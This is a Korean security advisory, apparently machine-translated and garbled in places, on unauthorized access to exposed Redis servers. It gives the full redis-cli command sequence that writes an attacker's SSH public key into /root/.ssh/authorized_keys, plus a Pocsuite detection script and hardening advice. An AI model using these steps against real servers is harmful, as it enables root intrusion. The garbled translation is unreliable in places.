Redis 권한 이 없 는 접근 과 SSH key 파일 이용 에 대한 자세 한 설명

머리말
Redis 는 ANSI C 언어 를 사용 하여 네트워크 를 작성 하고 지원 하 며 메모리 기반 으로 지속 가능 한 로그 형,Key-Value 데이터 베 이 스 를 사용 하여 다양한 언어 를 제공 하 는 API 입 니 다.
Redis 가 접근 권한 을 부여 하지 않 은 문 제 는 계속 존재 하 는 문제 입 니 다.창 우 안전 연구 팀 이 역사상 관련 응급 처 치 를 한 적 이 있다 는 것 을 알 고 있 습 니 다.오늘 은 Redis 가 접근 권한 을 부여 하지 않 고 SSH key 파일 에 협조 하 는 상황 이 발생 하여 대량의 Redis 서버 가 해 킹 되 었 습 니 다.오늘 은 간략하게 분석 해 보 겠 습 니 다.
구멍 개술
Redis 는 기본적으로 0.0.0.0:6379 에 연결 되 어 있 습 니 다.그러면 Redis 서 비 스 를 공공 네트워크 에 노출 시 킬 것 입 니 다.인증 이 켜 지지 않 은 상태 에서 임의의 사용자 가 대상 서버 에 접근 할 수 있 는 상황 에서 Redis 에 접근 할 수 있 는 권한 이 부여 되 지 않 고 Redis 의 데 이 터 를 읽 을 수 있 습 니 다.공격 자 는 Redis 에 접근 할 수 있 는 권한 이 부여 되 지 않 은 상태 에서 Redis 와 관련 된 방법 을 이용 하여 Redis 서버 에 공개 키 를 성공 적 으로 기록 하여 해당 하 는 비밀 키 를 사용 하여 대상 서버 에 직접 로그 인 할 수 있 습 니 다.
1.구멍 설명
레 디 스 보안 모델 은"레 디 스 를 공개 네트워크 에 노출 시 키 지 마 세 요.신뢰 받 지 못 하 는 고객 이 레 디 스 를 접 하 게 하 는 것 은 매우 위험 하기 때 문 입 니 다"라 는 관념 이다.
레 디 스 작가 가 권한 이 부여 되 지 않 은 방문 으로 인 한 불안정 성 을 해결 하 는 것 을 포기 한 이 유 는 99.99%가 레 디 스 를 사용 하 는 장면 은 모두 샌 드 박스 화 된 환경 에서 0.01%의 가능성 을 위해 안전 규칙 을 증가 하 는 동시에 복잡성 도 증가 했다.비록 이 문 제 는 해결 할 수 없 는 것 이 아니 지만 이것 은 그의 디자인 철학 에서 여전히 수지 가 맞지 않 기 때문이다.
다른 신뢰 받 는 사용자 가 Redis 를 사용 해 야 하거나 운영 자의 부주의 등 으로 인해 일부 Redis 는 0.0.0.0:6379 에 연결 되 어 있 고 인증(이것 은 Redis 의 기본 설정)이 켜 지지 않 았 기 때문에 관련 전략 을 사용 하지 않 았 다 면 방화벽 규칙 을 추가 하여 다른 불 신 소스 ip 접근 을 피 하 는 등이 로 인해 Redis 서 비 스 는 공공 네트워크 에 직접 노출 되 고 다른 사용자 가 권한 이 없 는 상황 에서 Redis 서 비 스 를 직접 방문 하여 관련 작업 을 할 수 있 게 된다.
Redis 자체 가 제공 하 는 config 명령 을 이용 하여 파일 쓰기 작업 을 할 수 있 습 니 다.공격 자 는 자신의 공개 키 를 대상 서버 의/root/.ssh 폴 더 의 authorized 에 성공 적 으로 기록 할 수 있 습 니 다.keys 파일 에서 해당 하 는 비밀 키 를 직접 사용 하여 대상 서버 에 로그 인 할 수 있 습 니 다.
2.구멍 영향
Redis 는 공공 네트워크(즉 0.0.0.0:6379 에 연결 되 어 있 고 목표 IP 공공 네트워크 에 접근 할 수 있 음)에 노출 되 었 으 며 관련 인증 과 관련 안전 전략 을 추가 하지 않 은 상황 에서 영향 을 받 아 이용 되 었 다.
줌 아이 검색 을 통 해 공 망 에서 직접 접근 할 수 있 는 레 디 스 서비스 가 9 만 7 천 707 개 있 는 것 으로 나 타 났 다.

ZoomEye 의 탐지 에 따 르 면 전 세계 에서 검증 되 지 않 고 Redis 를 직접 이용 할 수 있 는 분포 상황 은 다음 과 같다.

전 세계 에서 검증 없 이 Redis TOP 10 국가 와 지역 을 직접 이용 할 수 있 습 니 다.

3.구멍 분석 과 이용
우선 로 컬 에서 공개 키 파일 을 생산 합 니 다.

$ssh-keygen Ct rsa

그리고 공개 키 를 foo.txt 파일 에 기록 합 니 다.

$ (echo -e "

"; cat id_rsa.pub; echo -e "

") > foo.txt
다시 연결 Redis 기록 파일

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK

이렇게 하면 자신의 공개 키 를/root/.ssh 폴 더 의 authorized 에 성공 적 으로 기록 할 수 있 습 니 다.keys 파일 에서 공격 자가 직접 실행:

$ ssh Ci id_rsa [email protected]
원 격 으로 자신의 비밀 키 를 이용 하여 서버 에 로그 인 할 수 있 습 니 다.
물론 기 록 된 디 렉 터 리 는/root/.ssh 의 authorized 에 국한 되 지 않 습 니 다.keys,사용자 디 렉 터 리 에 도 쓸 수 있 지만 Redis 는 루트 권한 으로 많이 실행 되 기 때문에 루트 디 렉 터 리 에 기록 하면 사용자 의 단 계 를 건 너 뛸 수 있 습 니 다.
4.Redis 가 권한 을 부여 하지 않 은 기타 위해 와 이용
a)데이터베이스 데이터 유출
레 디 스 는 데이터베이스 로 서 다양한 데 이 터 를 저장 하고 있 으 며,접근 권한 이 부여 되 지 않 은 경우 저 장 된 사용자 정보 등 이 포 함 된 데이터 유출 로 이 어 질 수 있다.

b)코드 실행
Redis 는 Lua 스 크 립 트 를 끼 워 넣 을 수 있 는 특성 으로 인해 코드 가 실 행 될 수 있 으 며,다른 서버 의 코드 와 의 실행 에 해 를 끼 칠 수 있 습 니 다.샘플 은 다음 과 같 습 니 다.        공격 자가 서버 에서 임의의 코드 를 실행 할 수 있 으 면 공격 방식 이 많아 지고 복잡 해 지 는 것 은 매우 위험 하 다.

Lua 코드 공격 자 를 통 해 redis.sha1hex()함 수 를 호출 하여 Redis 서버 를 악 용 하여 SHA-1 해 제 를 진행 할 수 있 습 니 다.
c)민감 한 정보 유출
레 디 스 의 INFO 명령 을 통 해 서버 관련 매개 변수 와 민감 한 정 보 를 확인 할 수 있 고,공격 자의 후속 침 투 를 뒷받침 한다.

현재 Redis 버 전,메모리 실행 상태,서버 개수 등 민감 한 정보 가 많이 유출 된 Redis 서버 를 볼 수 있 습 니 다.
5.구멍 검증
Pocsuite 사용 가능(http://github.com/knownsec/pocsuite)다음 코드 를 실행 하면 대상 주소 에 권한 이 부여 되 지 않 은 Redis 서비스 가 있 는 지 테스트 하 는 데 사용 할 수 있 습 니 다.

#!/usr/bin/env python
# -*- coding:utf-8 -*-
 
import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
 
 
class TestPOC(POCBase):
 vulID = '89339'
 version = '1'
 author = ['Anonymous']
 vulDate = '2015-10-26'
 createDate = '2015-10-26'
 updateDate = '2015-10-26'
 references = ['http://sebug.net/vuldb/ssvid-89339']
 name = 'Redis       PoC'
 appPowerLink = 'http://redis.io/'
 appName = 'Redis'
 appVersion = 'All'
 vulType = 'Unauthorized access'
 desc = '''
  redis            ,                  ,         。
 '''
 samples = ['']
 
 def _verify(self):
  result = {}
  payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
  s = socket.socket()
  socket.setdefaulttimeout(10)
  try:
   host = urlparse.urlparse(self.url).netloc
   port = 6379
   s.connect((host, port))
   s.send(payload)
   recvdata = s.recv(1024)
   if recvdata and 'redis_version' in recvdata:
    result['VerifyInfo'] = {}
    result['VerifyInfo']['URL'] = self.url
    result['VerifyInfo']['Port'] = port
  except:
   pass
  s.close()
  return self.parse_attack(result)
 
 def _attack(self):
  return self._verify()
 
 def parse_attack(self, result):
  output = Output(self)
  if result:
   output.success(result)
  else:
   output.fail('Internet nothing returned')
  return output
 
register(TestPOC)
2.안전 건의
bind 옵션 을 설정 합 니 다.Redis 서버 에 연결 할 수 있 는 IP 를 제한 하고 Redis 의 기본 포트 6379 를 수정 합 니 다.
인증 설정,즉 AUTH 입 니 다.비밀 번 호 를 설정 하면 비밀 번 호 는 Redis 설정 파일 에 명문 으로 저 장 됩 니 다.
rename-command 설정 항목"RENAMECONFIG",권한 이 부여 되 지 않 은 접근 이 있 더 라 도 공격 자 에 게 config 명령 을 사용 하여 난이 도 를 높 일 수 있 습 니 다.
좋 은 소식 은 Redis 작성 자가'real user'를 개발 하 겠 다 고 밝 혔 습 니 다.일반 사용자 와 admin 권한 을 구분 하면 일반 사용 자 는 config 와 같은 명령 을 실행 하지 못 하 게 됩 니 다.
총결산
이상 은 이 글 의 전체 내용 입 니 다.본 논문 의 내용 이 여러분 의 학습 이나 업무 에 어느 정도 참고 학습 가치 가 있 기 를 바 랍 니 다.궁금 한 점 이 있 으 시 면 댓 글 을 남 겨 주 셔 서 저희 에 대한 지지 에 감 사 드 립 니 다.

좋은 웹페이지 즐겨찾기